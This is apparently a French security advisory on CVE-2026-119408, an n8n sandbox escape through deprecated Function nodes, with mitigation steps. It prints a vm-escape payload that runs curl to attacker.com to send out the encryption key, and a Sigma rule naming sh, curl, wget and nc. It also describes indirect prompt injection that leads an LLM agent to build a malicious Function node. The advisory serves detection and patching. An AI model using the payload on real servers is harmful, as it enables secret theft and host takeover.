Aller au contenu

CVE-2026-119408 : évasion du bac à sable task runner via les nœuds fonction dépréciés et exécution de code dans N8N

Densité :
Synthèse Décisionnelle C-Level CVE-2026-119408 CRITICAL SCORE 96/100

Vulnérabilité critique affectant l'orchestration de flux d'agents IA militarisée et publiée par VulnCheck le 31 octobre 2026. Référencée CVE-2026-119408, la faille touche n8n dans les versions antérieures à 2.42.6, 2.43.3 et 3.0.1. Bien que l'architecture moderne de n8n confine l'exécution du code JavaScript utilisateur au sein de conteneurs ou processus isolés (Task Runner), les nœuds dépréciés hérités Function (n8n-nodes-base.function) échappent à ce routage sécurisé et s'exécutent directement dans le contexte du processus serveur principal. Un attaquant important un flux malveillant ou contraignant un agent IA à exécuter un nœud déprécié s'évade du bac à sable, accédant directement aux variables d'environnement du serveur hôte, aux clés de chiffrement de la base de données et au système de fichiers sous-jacent.

HYBRID

SCORE DE SÉCURITÉ AGENTIQUE HERMES & ÉVALUATION D'ÉVASION DU BAC À SABLE

Cible : Moteur de routage du Task Runner et exécution des nœuds fonction dépréciés de n8n
Confiance : 98%
96 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 18 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20

1. Contexte technique & décomposition du contournement d’isolation

Section intitulée « 1. Contexte technique & décomposition du contournement d’isolation »

n8n est une plateforme d’automatisation largement adoptée par les équipes DevOps et les ingénieurs IA pour articuler des flux multi-agents, des intégrations d’API et des déclencheurs webhooks. Afin de sécuriser l’exécution de code JavaScript non certifié, n8n a instauré le mécanisme de Task Runner (@n8n/task-runner), déportant les scripts au sein de processus conteneurisés aux privilèges restreints.

flowchart TD
A["Attaquant (créateur de flux, collaborateur ou injection indirecte de prompt)"] -->|"1. Injection d'un flux exploitant le nœud hérité 'n8n-nodes-base.function'"| B["Serveur d'orchestration n8n (processus principal)"]
B -->|"2. Évaluation de l'aiguillage d'exécution du nœud"| C{"Type de nœud : 'Code' ou ancien 'Function' ?"}
C -->|"Nœud moderne Code"| D["Processus Task Runner (conteneur ou processus enfant isolé)"]
C -->|"Nœud déprécié Function"| E["Contournement complet de l'isolation du Task Runner !"]
E -->|"3. Exécution directe via le module vm de Node.js"| F["Fil d'exécution principal du serveur (accès direct à la mémoire)"]
F -->|"4. Rupture de contexte via navigation de prototype"| G["global.process.mainModule.require('child_process').execSync()"]
G -->|"5. Exécution de commandes arbitraires sur l'hôte"| H["Vol de N8N_ENCRYPTION_KEY et contrôle total du serveur"]

Alors que les nœuds récents Code sont captés par le gestionnaire de flux et dirigés via IPC vers les travailleurs du Task Runner, les anciens nœuds Function (n8n-nodes-base.function et n8n-nodes-base.functionItem) sont restés disponibles pour préserver la rétrocompatibilité des anciens déploiements.

Dans les versions non corrigées (< 2.42.6, 2.43.0 à 2.43.2, et 3.0.0), ces nœuds historiques n’étaient pas intégrés à la table de routage du Task Runner :

// Logique d'aiguillage vulnérable dans n8n-core/src/WorkflowExecute.ts
async function executeNode(node: INode, inputData: INodeExecutionData[][]): Promise<INodeExecutionData[][]> {
// Les nœuds Code modernes sont déportés vers le Task Runner externe
if (node.type === 'n8n-nodes-base.code' && isTaskRunnerEnabled()) {
return await taskRunnerClient.execute(node, inputData);
}
// VULNÉRABILITÉ : les nœuds Function dépréciés contournent totalement le Task Runner !
// Ils sont exécutés directement dans le processus serveur principal
if (node.type === 'n8n-nodes-base.function' || node.type === 'n8n-nodes-base.functionItem') {
const vmContext = vm.createContext({ ...sandboxContext });
const script = new vm.Script(node.parameters.jsCode);
return script.runInContext(vmContext);
}
return await defaultNodeExecutor(node, inputData);
}

Le module vm natif de Node.js n’étant pas conçu pour servir de barrière de sécurité face à du code hostile, un fragment JavaScript exécuté dans script.runInContext() peut aisément atteindre l’objet hôte process par simple remontée de constructeur :

// Charge utile franchissant l'isolation du nœud fonction déprécié
const foreignProcess = this.constructor.constructor('return process')();
const childProcess = foreignProcess.mainModule.require('child_process');
childProcess.execSync('curl -s http://attacker.com/exfil?key=' + foreignProcess.env.N8N_ENCRYPTION_KEY);

L’attaquant obtient ainsi une exécution directe dans le processus père de n8n, lequel détient les autorisations de lecture sur /data/n8n/, les identifiants PostgreSQL/SQLite, les secrets de signature de webhooks et les jetons OAuth des applications connectées.


2. Vecteurs d’attaque & scénarios d’exploitation réelle

Section intitulée « 2. Vecteurs d’attaque & scénarios d’exploitation réelle »

Les cyberattaquants exploitent la CVE-2026-119408 selon plusieurs modes opératoires :

  1. Détournement d’espaces partagés : dans les environnements n8n collaboratifs ou multi-utilisateurs, un compte disposant de droits d’édition de flux importe un fichier JSON contenant un nœud Function déprécié piégé, élevant immédiatement ses privilèges jusqu’au contrôle du serveur.
  2. Empoisonnement d’agents autonomes : au sein de pipelines où un modèle de langage génère ou modifie dynamiquement des flux, une attaque par injection indirecte de prompt amène le LLM à instancier un nœud Function plutôt qu’un nœud Code, transformant une tâche bureautique en compromission système.
  3. Militarisation de modèles communautaires : des modèles de flux partagés sur des dépôts publics ou GitHub intègrent subrepticement des nœuds dépréciés qui s’exécutent lors de l’évaluation du modèle.

3. Triage forensique & ingénierie de la détection

Section intitulée « 3. Triage forensique & ingénierie de la détection »

Les équipes SOC et les gestionnaires de plateformes doivent rechercher les instanciations de nœuds dépréciés dans les configurations de flux et surveiller l’apparition de sous-processus anormaux générés par le conteneur n8n.

title: Évasion du bac à sable Task Runner n8n via nœuds fonction dépréciés
id: c4e19830-71a2-4a0b-9321-cve2026119408-fr
status: critical
description: Détecte la création de sous-processus système directement engendrés par le serveur n8n principal plutôt que par le démon isolé du Task Runner.
references:
- https://vulncheck.com/advisories/n8n-before-2.42.6-2.43.3-and-3.0.1-code-execution-outside-task-runner-isolation-via-deprecated-function-nodes
- https://github.com/n8n-io/n8n/security/advisories
author: Équipe Cyberdéfense Hermes Codex
date: 2026-10-31
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/node'
- '/n8n'
ParentCommandLine|contains:
- 'n8n/bin/n8n'
- 'n8n start'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/curl'
- '/wget'
- '/nc'
- '/python'
filter_task_runner:
ParentCommandLine|contains: 'task-runner'
condition: selection_parent and selection_child and not filter_task_runner
falsepositives:
- Flux utilisant légitimement le nœud Execute Command (à valider unitairement)
level: critical
tags:
- attack.execution
- attack.t1059.007
- attack.t1611

  1. Mettre à niveau le moteur N8N : installer sans délai les versions correctives 2.42.6, 2.43.3 ou 3.0.1. Dans ces versions, les nœuds dépréciés sont soit routés obligatoirement vers le Task Runner, soit définitivement neutralisés.
  2. Forcer l’isolation externe du task runner : configurer les variables d’environnement N8N_RUNNERS_ENABLED=true et N8N_RUNNERS_MODE=external afin de déléguer l’ensemble des scripts à des conteneurs éphémères sans montage de volume hôte.
  3. Renouveler les clés de chiffrement : si une anomalie de création de processus a été observée sur le serveur n8n, renouveler immédiatement la clé N8N_ENCRYPTION_KEY ainsi que l’ensemble des jetons d’accès API et identifiants de bases de données enregistrés.
  4. Appliquer un contrôle statique des flux : intégrer une étape de validation préalable dans la chaîne CI/CD ou lors de l’importation de flux pour rejeter formellement tout fichier comportant les types n8n-nodes-base.function ou n8n-nodes-base.functionItem.